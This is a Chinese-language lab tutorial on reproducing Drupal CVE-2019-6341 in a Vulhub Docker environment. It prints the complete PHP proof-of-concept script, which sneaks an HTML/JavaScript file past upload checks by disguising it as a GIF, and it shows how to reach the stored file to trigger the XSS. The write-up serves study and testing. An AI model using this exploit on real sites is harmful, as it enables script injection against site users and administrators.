目录
一、Drupal XSS漏洞
二、环境搭建
1、确保系统已安装 Docker 和 Docker-Compose
2、下载 Vulhub
3、进入漏洞环境
4、启动漏洞环境
5、查看环境状态
6、初始化Drupal环境
(1)访问 Drupal 安装页面
(2)完成图形化安装
(3)安装成功
三、漏洞复现
1、通过PoC进行文件上传
2、构造上传文件URL
3、访问上传文件
本文详细讲解Drupal XSS漏洞(CVE-2019-6341)的原理,环境搭建以及渗透实战。
一、Drupal XSS漏洞
CVE-2019-6341 是 Drupal 内容管理系统中存在的一个跨站脚本(XSS)漏洞,主要影响文件上传功能,攻击者可通过精心构造的文件触发漏洞,执行恶意脚本。
1、漏洞简介
条目 | 详情 |
---|---|
CVE 编号 | CVE-2019-6341 |
发布日期 | 2019年2月20日 (Drupal 核心安全公告) |
漏洞类型 | 跨站脚本攻击 (XSS - Cross-Site Scripting) |
影响组件 | Drupal Core - File 模块 / 编辑器处理 |
漏洞利用前提 | 允许用户上传文件(尤其是文本文件) |
CVSS 分数 | 中等 (Moderate) |
影响版本 | Drupal 8.6.x ( prior to 8.6.10) Drupal 8.5.x ( prior to 8.5.11) Drupal 7 ( prior to 7.66) |
2、漏洞原理
Drupal 的文件模块(File module)在处理文件上传和预览时存在安全缺陷:当用户上传带有特殊构造内容的文件(如 HTML 文件)时,Drupal 未能正确过滤文件中的恶意脚本代码,且在某些场景下(如文件预览、展示文件内容时)未对文件内容进行恰当的转义处理。具体来说,攻击者可上传包含 <script>
等标签的 HTML 文件,当其他用户(如管理员)查看该文件的预览或内容时,恶意脚本会在受害者的浏览器中执行,导致 XSS 攻击。
二、环境搭建
1、确保系统已安装 Docker 和 Docker-Compose
本文使用Vulhub复现Drupal XSS漏洞,由于Vulhub 依赖于 Docker 环境,需要确保系统中已经安装并启动了 Docker 服务,命令如下所示。
# 检查 Docker 是否安装
docker --version
docker-compose --version
# 检查 Docker 服务状态
sudo systemctl status docker
2、下载 Vulhub
将 Vulhub 项目克隆到本地,具体命令如下所示。
git clone https://github.com/vulhub/vulhub.git
cd vulhub
3、进入漏洞环境
Vulhub 已经准备好现成的漏洞环境,我们只需进入对应目录。
# 进入 Drupal CVE-2019-6341 的漏洞环境目录
cd drupal/CVE-2019-6341
4、启动漏洞环境
在 CVE-2019-6341 目录下,使用 docker-compose 命令启动环境。Vulhub 的脚本会自动从 Docker Hub 拉取预先构建好的镜像并启动容器。
# 在后台启动环境
docker-compose up -d
命令执行后,Docker 会完成以下工作:
-
拉取一个包含 Drupal 8.5.0(受影响版本)的镜像。
-
启动一个 MySQL 数据库容器作为 Drupal 的后端。
-
启动 Drupal 容器,并将其 80 端口映射到你宿主机的 8080 端口(
0.0.0.0:8080->80/tcp
)。
5、查看环境状态
使用 docker ps 命令确认容器启动状态,如下所示从返回结果中的容器名称 cve-2019-6341_web_1 可以立即判断,这个环境即为CVE-2019-6341的漏洞环境。
docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
12647a78461b drupal:8.5.0 "docker-php-entrypoi…" 16 seconds ago Up 15 seconds 0.0.0.0:8080->80/tcp, :::8080->80/tcp cve-2019-6341_web_1
字段 | 值 | 分析 |
---|---|---|
CONTAINER ID | 12647a78461b | 容器的唯一标识符。前12位完整ID |
IMAGE | drupal:8.5.0 | 容器使用镜像:Drupal 8.5.0 |
COMMAND | "docker-php-entrypoi…" | 容器启动时运行的命令。这里是截断的,完整命令通常是 docker-php-entrypoint ,这是 PHP 官方镜像的入口点脚本,用于启动 Apache 或 PHP-FPM 来运行 Drupal。 |
CREATED | 16 seconds ago | 容器于 16 秒前被创建。 |
STATUS | Up 15 seconds | 容器已运行 15 秒,状态健康。 |
PORTS | 0.0.0.0:8080->80/tcp | 它将容器内部的 80 端口(HTTP 服务)映射到了宿主机的 8080 端口。这意味着你可以在宿主机上通过访问 http://localhost:8080 或 http://<宿主机IP>:8080 来访问这个 Drupal 网站。 |
NAMES | cve-2019-6341_web_1 | 容器名称明确指出了其用途:用于 CVE-2019-6341 漏洞研究。 |
6、初始化Drupal环境
(1)访问 Drupal 安装页面
打开浏览器,访问 http://IP地址:8080
。以我的电脑为例,即http://192.168.59.128:8080/
直接被重定向到install的页面,如下所示。
(2)完成图形化安装
你会看到 Drupal 的安装界面。请按照以下步骤操作:
-
选择语言:选择 “English” 并点击 “Save and continue”。
-
选择安装配置文件:选择 “Standard” 然后点击 “Save and continue”。
-
验证需求:环境已由 Vulhub 配置好,应全部通过,直接点击 “Continue”。
-
设置数据库:这里数据库选择SQLite,所有数据库连接信息已经自动配置好,你不需要做任何修改,直接点击 “Save and continue” 即可。
-
安装站点:等待安装进度条完成。
-
配置站点:
-
Site name: 任意,
-
Site email: 任意邮箱
-
Username / Password / Email:这里设置的是管理员账号,请务必记住(这里我选择使用用户
root
,密码 root)。 -
其他设置保持默认,点击 “Save and continue”。
-
(3)安装成功
此时一个全新的、存在漏洞的 Drupal 8.5.0 站点就在本地搭建完成,如下所示。
三、漏洞复现
1、下载PoC文件
在vulhub中,已经存放好该漏洞的Poc文件,如下所示blog-poc.php即为漏洞利用的Poc脚本。
# ls
1.png 2.png blog-poc.php docker-compose.yml README.md
blog-poc.php脚本的完整内容如下所示。这个脚本的核心目标是:通过 Drupal 的用户注册表单中的头像上传功能,上传一个被伪装成 GIF 的 HTML 文件,从而绕过文件类型安全检查,实现存储型 XSS。Drupal 在处理带有特殊编码字符的文件名上传时,存在解析缺陷,导致本应被识别为图片文件(.gif
)的恶意文件,其内容(包含 HTML/JS)未被正确过滤。同时,文件存储路径可预测,使得攻击者能够确定恶意文件的位置并诱导用户访问,最终执行跨站脚本。该漏洞的利用依赖于文件上传验证机制的绕过和文件名编码处理的漏洞,结合前端页面对上传文件的渲染逻辑,导致 XSS 代码被执行。
<?php
/*
usage: php poc.php <target-ip>Date: 1 March 2019
Exploit Author: TrendyTofu
Original Discoverer: Sam Thomas
Version: <= Drupal 8.6.2
Tested on: Drupal 8.6.2 Ubuntu 18.04 LTS x64 with ext4.
Tested not wokring on: Drupal running on MacOS with APFS
CVE : CVE-2019-6341
Reference: https://www.zerodayinitiative.com/advisories/ZDI-19-291/*/$host = $argv[1];
$port = $argv[2];$pk = "GET /user/register HTTP/1.1\r\n"."Host: ".$host."\r\n"."Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"."Accept-Language: en-US,en;q=0.5\r\n"."Referer: http://".$host."/user/login\r\n"."Connection: close\r\n\r\n";$fp = fsockopen($host,$port,$e,$err,1);
if (!$fp) {die("not connected");}
fputs($fp,$pk);
$out="";
while (!feof($fp)){$out.=fread($fp,1);
}
fclose($fp);preg_match('/name="form_build_id" value="(.*)"/', $out, $match);
$formid = $match[1];
//var_dump($formid);
//echo "form id is:". $formid;
//echo $out."\n";
sleep(1);$data =
"Content-Type: multipart/form-data; boundary=---------------------------60928216114129559951791388325\r\n".
"Connection: close\r\n".
"\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"mail\"\r\n".
"\r\n".
"test324@example.com\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"name\"\r\n".
"\r\n".
"test2345\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"files[user_picture_0]\"; filename=\"xxx\xc0.gif\"\r\n".
"Content-Type: image/gif\r\n".
"\r\n".
"GIF\r\n".
"<HTML>\r\n".
" <HEAD>\r\n".
" <SCRIPT>alert(123);</SCRIPT>\r\n".
" </HEAD>\r\n".
" <BODY>\r\n".
" </BODY>\r\n".
"</HTML>\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"user_picture[0][fids]\"\r\n".
"\r\n".
"\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"user_picture[0][display]\"\r\n".
"\r\n".
"1\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"form_build_id\"\r\n".
"\r\n".
//"form-KyXRvDVovOBjofviDPTw682MQ8Bf5es0PyF-AA2Buuk\r\n".
$formid."\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"form_id\"\r\n".
"\r\n".
"user_register_form\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"contact\"\r\n".
"\r\n".
"1\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"timezone\"\r\n".
"\r\n".
"America/New_York\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"_triggering_element_name\"\r\n".
"\r\n".
"user_picture_0_upload_button\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"_triggering_element_value\"\r\n".
"\r\n".
"Upload\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"_drupal_ajax\"\r\n".
"\r\n".
"1\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"ajax_page_state[theme]\"\r\n".
"\r\n".
"bartik\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"ajax_page_state[theme_token]\"\r\n".
"\r\n".
"\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"ajax_page_state[libraries]\"\r\n".
"\r\n".
"bartik/global-styling,classy/base,classy/messages,core/drupal.ajax,core/drupal.collapse,core/drupal.timezone,core/html5shiv,core/jquery.form,core/normalize,file/drupal.file,system/base\r\n".
"-----------------------------60928216114129559951791388325--\r\n";$pk = "POST /user/register?element_parents=user_picture/widget/0&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1\r\n"."Host: ".$host."\r\n"."User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0\r\n"."Accept: application/json, text/javascript, */*; q=0.01\r\n"."Accept-Language: en-US,en;q=0.5\r\n"."X-Requested-With: XMLHttpRequest\r\n"."Referer: http://" .$host. "/user/register\r\n"."Content-Length: ". strlen($data). "\r\n".$data;echo "uploading file, please wait...\n";for ($i =1; $i <= 2; $i++){
$fp = fsockopen($host,$port,$e,$err,1);
if (!$fp) {die("not connected");}
fputs($fp,$pk);
$out="";
while (!feof($fp)){$out.=fread($fp,1);
}
fclose($fp);// echo "Got ".$i."/2 500 errors\n";
// echo $out."\n";
sleep(1);
}echo "please check /var/www/html/drupal/sites/default/files/pictures/YYYY-MM\n";?>
-
获取表单构建 ID:首先向目标站点的
/user/register
页面发送 GET 请求,通过正则表达式提取页面中form_build_id
的值。这个 ID 是 Drupal 表单的重要标识,用于后续表单提交的验证。preg_match('/name="form_build_id" value="(.*)"/', $out, $match); $formid = $match[1];
-
构造恶意文件上传请求
- 构造包含恶意内容的多部分表单数据(
multipart/form-data
),其中关键部分是上传的文件名和文件内容:- 文件名:使用
xxx\xc0.gif
,这里的\xc0
是 UTF-8 编码中的一个特殊字节,利用了 Drupal 在文件名处理时的编码解析漏洞,可能导致文件名被错误解析,绕过部分验证。 - 文件内容:包含 HTML 和 JavaScript 代码(
<SCRIPT>alert(123);</SCRIPT>
),这是典型的 XSS 恶意代码。
- 文件名:使用
- 构造包含恶意内容的多部分表单数据(
-
触发漏洞的提交方式
- 通过 POST 请求将恶意数据提交到
/user/register
的特定端点(带有element_parents=user_picture/widget/0&ajax_form=1&_wrapper_format=drupal_ajax
参数),模拟 AJAX 上传头像的操作。 - 重复发送两次请求以触发 500 错误)。
- 通过 POST 请求将恶意数据提交到
-
恶意文件的存储与触发:漏洞利用成功后,恶意文件会被存储在 Drupal 的文件目录(
/var/www/html/drupal/sites/default/files/pictures/YYYY-MM
)。当该文件被访问或渲染时,其中的 JavaScript 代码会被执行,从而触发 XSS 攻击。
2、利用PoC进行文件上传
blog-poc.php脚本需要提供目标主机的 IP 地址 和 端口号 作为参数,命令格式如下所示。
php blog-poc.php <目标IP> <端口号>
以我的电脑为例,目标靶机的PoC命令为php blog-poc.php 192.168.59.128 8080,具体命令执行效果如下所示。
这段输出提供了关键信息:
-
uploading file, please wait...
:-
表示脚本正在执行,正在向目标发送恶意请求。
-
-
please check /var/www/html/drupal/sites/default/files/pictures/YYYY-MM
:-
这是一个路径提示,告诉你恶意文件被上传到了服务器的哪个目录下。
-
YYYY-MM
是一个占位符,它会被实际的日期所代替,例如2025-02
(2025年2月)。 -
这个路径是 Drupal 默认存储上传图片的目录结构。
-
3、构造上传文件URL
脚本成功运行后,需要手动触发这个 XSS 漏洞。需要根据脚本输出的路径提示,构造完整的 URL。文件上传的目录格式为http://<目标IP>:<端口号>/sites/default/files/pictures/YYYY-MM/
,以我的电脑为例,IP是 192.168.59.128
,端口是 8080
,日期文件夹是 2025-08
,那么完整的 上传路径为下所示:
http://192.168.59.128:8080/sites/default/files/pictures/2025-08/
上传的文件名按照顺序被命名为_0, _1,以此类推,故而我刚刚上传的文件为首次上传,故而其名为_0,故而上传脚本的URL地址如下所示。
http://192.168.59.128:8080/sites/default/files/pictures/2025-08/_0
4、访问上传文件
访问图片位置,即可触发 XSS 漏洞,如下图所示。
其内容如下所示,核心是一个简单的 HTML 文件,包含了一个<script>
标签,其中的alert(123);
是一段 JavaScript 代码,执行后会在浏览器中弹出显示 "123" 的对话框。
GIF
<HTML><HEAD><SCRIPT>alert(123);</SCRIPT></HEAD><BODY></BODY>
</HTML>
因为 Chrome、Edge 和 FireFox 浏览器自带部分过滤 XSS 功能,所以验证存在时可使用IE 浏览器,即可弹窗。